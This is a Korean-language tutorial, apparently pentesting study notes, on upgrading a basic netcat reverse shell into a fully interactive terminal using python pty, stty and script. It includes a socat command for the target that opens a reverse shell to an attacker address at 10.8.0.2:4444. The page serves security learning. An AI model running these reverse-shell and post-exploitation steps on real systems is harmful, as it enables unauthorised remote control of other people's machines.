Skip to main content

리버스 쉘 업그레이드

덤 쉘 (Dumb Shell)의 한계​

nc -lvnp 8080으로 받는 기본 리버스 쉘은 **덤 쉘(Dumb Shell)**로, 다음 기능이 부족합니다:

부족한 기능​

  1. 터미널 조절 기능 부재

    • Ctrl+C, Ctrl+Z 등 특수 문자 조합 불가
    • Line editing 기능 없음
  2. Job Control 부재

    • 프로세스 백그라운드/포어그라운드 전환 불가
    • 다중 프로세스 관리 불가
  3. 시그널 핸들링 불가

    • 프로세스 간 시그널 송수신 불가
    • 프로세스 상태 변화 감지 불가

업그레이드 명령어​

# 1. PTY 생성
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. 백그라운드화
Ctrl+Z

# 3. 터미널 설정
stty raw -echo; fg

# 4. 리셋
reset

# 5. 환경 변수 설정
export SHELL=bash
export TERM=xterm-256color

각 단계 설명​

1. PTY (Pseudo-Terminal) 생성​

python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Python의 pty 모듈로 가상 터미널 생성
  • /bin/bash를 PTY에 연결
  • 실제 터미널과 유사한 환경 제공

2. 백그라운드화​

Ctrl+Z
  • 현재 리버스 쉘을 백그라운드로 이동
  • 공격자 터미널에서 명령어 실행 준비

3. 터미널 설정 변경​

stty raw -echo; fg

stty raw -echo:

  • raw: 라인 버퍼링 비활성화 (키 입력 즉시 전송)
  • -echo: 입력값이 터미널에 표시되지 않도록 설정

fg:

  • 리버스 쉘을 다시 포어그라운드로 전환

4. 터미널 리셋​

reset
  • 터미널 설정을 리버스 쉘에 적용
  • 환경 초기화

5. 환경 변수 설정​

export SHELL=bash
export TERM=xterm-256color
  • 쉘 환경 설정
  • 색상 및 터미널 기능 활성화

업그레이드 효과​

업그레이드 후:

  • ✅ Ctrl+C: 현재 명령 중단 (nc 종료 안 됨)
  • ✅ Ctrl+Z: 프로세스 백그라운드화
  • ✅ 탭 자동완성 작동
  • ✅ 화살표 키로 명령어 히스토리 탐색
  • ✅ 텍스트 편집기 정상 작동

대체 업그레이드 방법​

Python이 없는 경우​

# Script 명령어 사용
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset

Socat 사용 (가장 안정적)​

# 공격자 머신에서
socat file:`tty`,raw,echo=0 tcp-listen:4444

# 대상 시스템에서
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.8.0.2:4444

터미널 크기 조정​

# 공격자 터미널에서 크기 확인
stty size
# 출력 예: 24 80

# 리버스 쉘에서 크기 설정
stty rows 24 columns 80

주요 명령어 요약​

# 기본 업그레이드
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color

# Script 사용
script /dev/null -c bash

# 터미널 크기 확인
stty size

# 터미널 크기 설정
stty rows <행> columns <열>

문제 해결​

화면이 깨진 경우​

reset
export TERM=xterm-256color

Ctrl+C가 여전히 연결을 끊는 경우​

# stty 설정 다시 확인
stty raw -echo
fg

입력이 보이지 않는 경우​

reset
stty sane